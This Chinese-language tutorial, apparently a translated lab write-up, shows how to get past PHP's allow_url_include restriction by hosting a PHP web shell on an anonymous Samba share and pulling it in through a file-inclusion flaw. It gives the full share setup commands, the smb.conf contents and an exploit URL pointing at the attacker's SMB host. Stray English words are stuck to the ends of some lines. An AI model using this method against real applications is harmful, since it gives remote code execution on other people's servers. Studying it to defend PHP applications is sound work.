文章講訴瞭如何繞過遠程URL包含限制。在PHP開發環境php.ini配置文件裏」,allow_url_include「爲「off」的狀況下,不容許PHP加載遠程HTTP或FTP url包含遠程文件。可是使用SMB依舊能夠加載。html
攻擊者須要配置SMB服務器,啓用匿名瀏覽訪問。利用有漏洞的PHP代碼從SMB共享裏訪問PHP Webshell。linux
配置php.ini文件禁用 "allow_url_fopen" 和 "allow_url_include" 。ios
配置SMB服務器的匿名讀訪問權web
利用有漏洞的PHP程序訪問SMBshell
在PHP.ini文件裏把 "allow_url_fopen" 和 "allow_url_include" 設爲 "Off"。服務器
當前配置PHP版本爲「5.5.11」:app
肯定PHP不容許遠程文件包含url
試圖從遠程主機包含PHP Web shell時,應用程序拋出錯誤而且沒有發生RFI。3d
使用下面提到的命令安裝SAMBA服務器:
建立SMB共享目錄(/var/www/html/pub/)
mkdir /var/www/html/pub/
配置SMB共享目錄的權限:
chmod 0555 /var/www/html/pub/ chown -R nobody:nogroup /var/www/html/pub/
運行如下提到的命令刪除SAMBA服務器配置文件的默認內容
echo > /etc/samba/smb.conf
將下面提到的內容放在'/etc/samba/smb.conf'文件中
[global] workgroup = WORKGROUP server string = Samba Server %v netbios name = indishell-lab security = user map to guest = bad user name resolve order = bcast host dns proxy = no bind interfaces only = yes [ica] path = /var/www/html/pub writable = no guest ok = yes guest only = yes read only = yes directory mode = 0555 force user = nobody
從新啓動SAMBA服務器
service smbd restart
成功從新啓動SAMBA服務器後,嘗試訪問SMB共享並確保SAMBA服務器不須要憑據驗證。
\\192.168.0.3\
在目錄'/var/www/html/pub'
中託管PHP shell
利用Windows Explorer打開SMB訪問 Win+R直接訪問。
\\192.168.0.3\ica\
利用SMB的php webshell路徑傳入文件包含漏洞的參數裏。
http://vulnerable_application/page.php?page=\\192.168.0.3\ica\box.php
SMB共享中獲取Web shell並在應用程序服務器上順利執行PHP代碼,繞過了遠程文件包含的限制。